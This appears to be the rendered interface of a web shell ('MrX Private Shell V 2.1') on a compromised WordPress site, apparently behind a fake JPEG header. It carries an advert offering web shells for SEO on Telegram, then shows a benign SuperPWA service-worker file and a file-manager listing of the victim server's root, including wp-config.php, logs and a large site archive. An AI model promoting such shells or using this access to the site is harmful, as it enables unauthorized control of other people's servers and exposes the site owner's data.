����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
'use strict';
/**
* Service Worker of SuperPWA
* To learn more and add one to your website, visit - https://superpwa.com
*/
const cacheName = 'www.oitsolutions.net-superpwa-2.2';
const startPage = 'https://www.oitsolutions.net';
const offlinePage = 'https://www.oitsolutions.net/contact/';
const filesToCache = [startPage, offlinePage];
const neverCacheUrls = [/\/wp-admin/,/\/wp-login/,/preview=true/];
// Install
self.addEventListener('install', function(e) {
console.log('SuperPWA service worker installation');
e.waitUntil(
caches.open(cacheName).then(function(cache) {
console.log('SuperPWA service worker caching dependencies');
filesToCache.map(function(url) {
return cache.add(url).catch(function (reason) {
return console.log('SuperPWA: ' + String(reason) + ' ' + url);
});
});
})
);
});
// Activate
self.addEventListener('activate', function(e) {
console.log('SuperPWA service worker activation');
e.waitUntil(
caches.keys().then(function(keyList) {
return Promise.all(keyList.map(function(key) {
if ( key !== cacheName ) {
console.log('SuperPWA old cache removed', key);
return caches.delete(key);
}
}));
})
);
return self.clients.claim();
});
// Range Data Code
var fetchRangeData = function(event){
var pos = Number(/^bytes\=(\d+)\-$/g.exec(event.request.headers.get('range'))[1]);
console.log('Range request for', event.request.url, ', starting position:', pos);
event.respondWith(
caches.open(cacheName)
.then(function(cache) {
return cache.match(event.request.url);
}).then(function(res) {
if (!res) {
return fetch(event.request)
.then(res => {
return res.arrayBuffer();
});
}
return res.arrayBuffer();
}).then(function(ab) {
return new Response(
ab.slice(pos),
{
status: 206,
statusText: 'Partial Content',
headers: [
// ['Content-Type', 'video/webm'],
['Content-Range', 'bytes ' + pos + '-' +
(ab.byteLength - 1) + '/' + ab.byteLength]]
});
}));
}
// Fetch
self.addEventListener('fetch', function(e) {
// Return if the current request url is in the never cache list
if ( ! neverCacheUrls.every(checkNeverCacheList, e.request.url) ) {
console.log( 'SuperPWA: Current request is excluded from cache.' );
return;
}
// Return if request url protocal isn't http or https
if ( ! e.request.url.match(/^(http|https):\/\//i) )
return;
// Return if request url is from an external domain.
if ( new URL(e.request.url).origin !== location.origin )
return;
// For Range Headers
if (e.request.headers.get('range')) {
fetchRangeData(e);
} else {
// For POST requests, do not use the cache. Serve offline page if offline.
if ( e.request.method !== 'GET' ) {
e.respondWith(
fetch(e.request).catch( function() {
return caches.match(offlinePage);
})
);
return;
}
// Revving strategy
if ( e.request.mode === 'navigate' && navigator.onLine ) {
e.respondWith(
fetch(e.request).then(function(response) {
return caches.open(cacheName).then(function(cache) {
cache.put(e.request, response.clone());
return response;
});
})
);
return;
}
e.respondWith(
caches.match(e.request).then(function(response) {
return response || fetch(e.request).then(function(response) {
return caches.open(cacheName).then(function(cache) {
cache.put(e.request, response.clone());
return response;
});
});
}).catch(function() {
return caches.match(offlinePage);
})
);
}
});
// Check if current url is in the neverCacheUrls list
function checkNeverCacheList(url) {
if ( this.match(url) ) {
return false;
}
return true;
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| .tmb | Folder | 0777 |
|
|
| .well-known | Folder | 0755 |
|
|
| cgi-bin | Folder | 0755 |
|
|
| wp-admin | Folder | 0755 |
|
|
| wp-content | Folder | 0755 |
|
|
| wp-includes | Folder | 0755 |
|
|
| .hcflag | File | 31 B | 0644 |
|
| .htaccess | File | 2 KB | 0444 |
|
| .htaccess.bk | File | 1.32 KB | 0644 |
|
| .htaccess_old | File | 1.64 KB | 0644 |
|
| .litespeed_flag | File | 297 B | 0644 |
|
| clamscan.log | File | 14.83 KB | 0640 |
|
| error_log | File | 9.25 MB | 0644 |
|
| index.php | File | 405 B | 0644 |
|
| license.txt | File | 19.44 KB | 0644 |
|
| llm.txt | File | 861 B | 0644 |
|
| llms.txt | File | 621 B | 0644 |
|
| oitsolutions.zip | File | 313.81 MB | 0644 |
|
| readme.html | File | 7.23 KB | 0644 |
|
| robots.txt | File | 172 B | 0644 |
|
| superpwa-amp-sw.js | File | 4.17 KB | 0644 |
|
| wp-activate.php | File | 7.2 KB | 0644 |
|
| wp-blog-header.php | File | 351 B | 0644 |
|
| wp-comments-post.php | File | 2.27 KB | 0644 |
|
| wp-config-sample.php | File | 3.26 KB | 0644 |
|
| wp-config.php | File | 3.27 KB | 0644 |
|
| wp-cron.php | File | 5.49 KB | 0644 |
|
| wp-links-opml.php | File | 2.43 KB | 0644 |
|
| wp-load.php | File | 3.84 KB | 0644 |
|
| wp-login.php | File | 50.63 KB | 0644 |
|
| wp-mail.php | File | 8.52 KB | 0644 |
|
| wp-settings.php | File | 31.88 KB | 0644 |
|
| wp-signup.php | File | 33.81 KB | 0644 |
|
| wp-trackback.php | File | 5.09 KB | 0644 |
|
| xmlrpc.php | File | 3.13 KB | 0644 |
|